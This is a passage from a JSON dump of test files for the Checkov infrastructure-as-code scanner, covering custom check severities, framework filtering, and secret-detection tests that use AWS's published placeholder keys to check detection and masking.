\"CUSTOM_SEVERITY\"\n        assert report.failed_checks[0].severity.name == \"HIGH\"\n\n\ndef test_run_without_custom_severity():\n    custom_banner = \"custom banner\"\n    resource_dir = Path(__file__).parent / \"common/runner_registry/example_multi_iac\"\n    extra_checks_dir_path = Path(__file__).parent / \"common/checks_infra/examples\"\n    argv = [\"-d\", str(resource_dir), \"--framework\", \"terraform\", \"--external-checks-dir\", str(extra_checks_dir_path), \"--check\", \"CUSTOM_WITHOUT_SEVERITY\"]\n\n    # when\n    ckv = Checkov()\n    ckv.parse_config(argv=argv)\n    ckv.run(banner=custom_banner)\n\n    # then\n    for report in ckv.scan_reports:\n        assert report.failed_checks[0].check_id == \"CUSTOM_WITHOUT_SEVERITY\"\n        assert not report.failed_checks[0].severity\n\ndef test_optional_download_external_modules():\n    args=[\n        ['-d', '.', '--framework', 'all'],\n        ['-d', '.', '--framework', 'all', '--download-external-modules', 'true'],\n        ['-d', '.', '--framework', 'all', '--download-external-modules', 'false']\n    ]\n\n    assert convert_str_to_optional_bool(Checkov(argv=args[0]).config.download_external_modules) is None\n    assert convert_str_to_optional_bool(Checkov(argv=args[1]).config.download_external_modules) is True\n    assert convert_str_to_optional_bool(Checkov(argv=args[2]).config.download_external_modules) is False\n\n"
  },
  {
    "path": "tests/test_runner_filter.py",
    "content": "from typing import Optional, List, Set\n\nimport pytest\n\nfrom checkov.main import checkov_runners\nfrom checkov.runner_filter import RunnerFilter\n\n\n@pytest.mark.parametrize(\n    \"input_frameworks,input_skip_frameworks,expected_frameworks\",\n    [\n        ([\"all\"], None, {\"all\", \"sast\"}),\n        (None, None, {\"all\"}),\n        ([\"terraform\"], None, {\"terraform\"}),\n        ([\"cloudformation\", \"serverless\"], None, {\"cloudformation\", \"serverless\"}),\n        ([\"cdk\"], None, {\"cdk\"}),\n        ([\"cdk\", \"sast\"], None, {\"cdk\", \"sast\"}),\n        (\n            [\"all\"],\n            [\"terraform\", \"secrets\"],\n            {\n                \"ansible\",\n                \"argo_workflows\",\n                \"arm\",\n                \"azure_pipelines\",\n                \"bicep\",\n                \"cdk\",\n                \"cloudformation\",\n                \"dockerfile\",\n                \"helm\",\n                \"json\",\n                \"yaml\",\n                \"kubernetes\",\n                \"serverless\",\n                \"terraform_json\",\n                \"terraform_plan\",\n                \"github_configuration\",\n                \"github_actions\",\n                \"gitlab_configuration\",\n                \"gitlab_ci\",\n                \"bitbucket_configuration\",\n                \"bitbucket_pipelines\",\n                \"circleci_pipelines\",\n                \"kustomize\",\n                \"sca_package\",\n                \"openapi\",\n                \"sca_image\",\n                \"sast\",\n                \"3d_policy\"\n            },\n        ),\n        ([\"cloudformation\", \"serverless\"], [\"serverless\", \"secrets\"], {\"cloudformation\"}),\n    ],\n    ids=[\"all\", \"none\", \"terraform\", \"multiple\", \"only cdk\", \"cdk and sast\", \"all_with_skip\", \"multiple_with_skip\"],\n)\ndef test_runner_filter_constructor_framework(\n        input_frameworks: Optional[List[str]], input_skip_frameworks: Optional[List[str]], expected_frameworks: Set[str]\n):\n    # when\n    runner_filter = RunnerFilter(\n        framework=input_frameworks,\n        runners=checkov_runners,\n        skip_framework=input_skip_frameworks,\n    )\n\n    # then\n    assert set(runner_filter.framework) == expected_frameworks\n"
  },
  {
    "path": "tests/unit/__init__.py",
    "content": ""
  },
  {
    "path": "tests/unit/test_secrets.py",
    "content": "import unittest\n\nfrom checkov.common.util.secrets import string_has_secrets, ALL, AWS, GENERAL, omit_secret_value_from_line, \\\n    get_secrets_from_string\n\n\nclass TestSecrets(unittest.TestCase):\n\n    def test_secrets(self):\n        test_strings = [\n            'AKIAIOSFODNN7EXAMPLE',  # checkov:skip=CKV_SECRET_2 test secret\n            'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',  # checkov:skip=CKV_SECRET_6 test secret\n            '-----BEGIN RSA PRIVATE KEY-----\\n',  # checkov:skip=CKV_SECRET_13 test secret\n            'Hello from Bridgecrew',\n            'cert-manager.io/secret: org/repo',\n        ]\n\n        # check that no category checks all\n        self.assertEqual(3, sum(1 for s in test_strings if string_has_secrets(s)))\n\n        # check one category\n        self.assertEqual(2, sum(1 for s in test_strings if string_has_secrets(s, AWS)))\n\n        # check two categories\n        self.assertEqual(3, sum(1 for s in test_strings if string_has_secrets(s, AWS, GENERAL)))\n\n        # check explicit all\n        self.assertEqual(3, sum(1 for s in test_strings if string_has_secrets(s, ALL)))\n\n        # check explicit all plus another category\n        self.assertEqual(3, sum(1 for s in test_strings if string_has_secrets(s, ALL, AWS)))\n\n    # Regression test for https://github.com/bridgecrewio/checkov/issues/754\n    def test_does_not_consider_single_hash_as_a_secret(self):\n        # SHA1\n        self.assertFalse(string_has_secrets(\"b5a5b36b6be8d98c6f1bea655536d67abef23be8\"))\n\n        # MD5\n        self.assertFalse(string_has_secrets(\"d9de48cf0676e9edb99bd8ee1ed44a21\"))\n\n    def test_omit_secret_value_from_line(self):\n        secret = 'AKIAIOSFODNN7EXAMPLE'  # checkov:skip=CKV_SECRET_6 test secret\n        line = 'access_key: \"AKIAIOSFODNN7EXAMPLE\"'\n\n        censored_line = omit_secret_value_from_line(secret, line)\n\n        self.assertEqual(censored_line, 'access_key: \"AKIAI**********\"')\n\n    def test_omit_none_secret_from_line(self):\n        line = 'text'\n        self.assertEqual(line, omit_secret_value_from_line(secret=None, line_text=line))\n\n    def test_omit_non_string_secret_from_line(self):\n        line = 'text'\n        secret = True\n\n        self.assertEqual(line, omit_secret_value_from_line(secret, line))\n\n    def test_omit_long_secret_value_from_line(self):\n        secret = '123456AKIAIOSFODNN7EXAMPLEAKIAIOSFODNN7EXAMPLEAKIAIOSFODNN7EXAM'  # checkov:skip=CKV_SECRET_6 test secret\n        line = 'access_key: \"123456AKIAIOSFODNN7EXAMPLEAKIAIOSFODNN7EXAMPLEAKIAIOSFODNN7EXAM\"'\n\n        censored_line = omit_secret_value_from_line(secret, line)\n\n        self.assertEqual(censored_line, 'access_key: \"123456**********\"')\n\n    def test_get_secrets_from_secrets(self):\n        s = 'access_key: \"AKIAIOSFODNN7EXAMPLE\"'\n\n        secret = get_secrets_from_string(s)\n\n        assert secret == [\"AKIAIOSFODNN7EXAMPLE\"]\n"
  }
]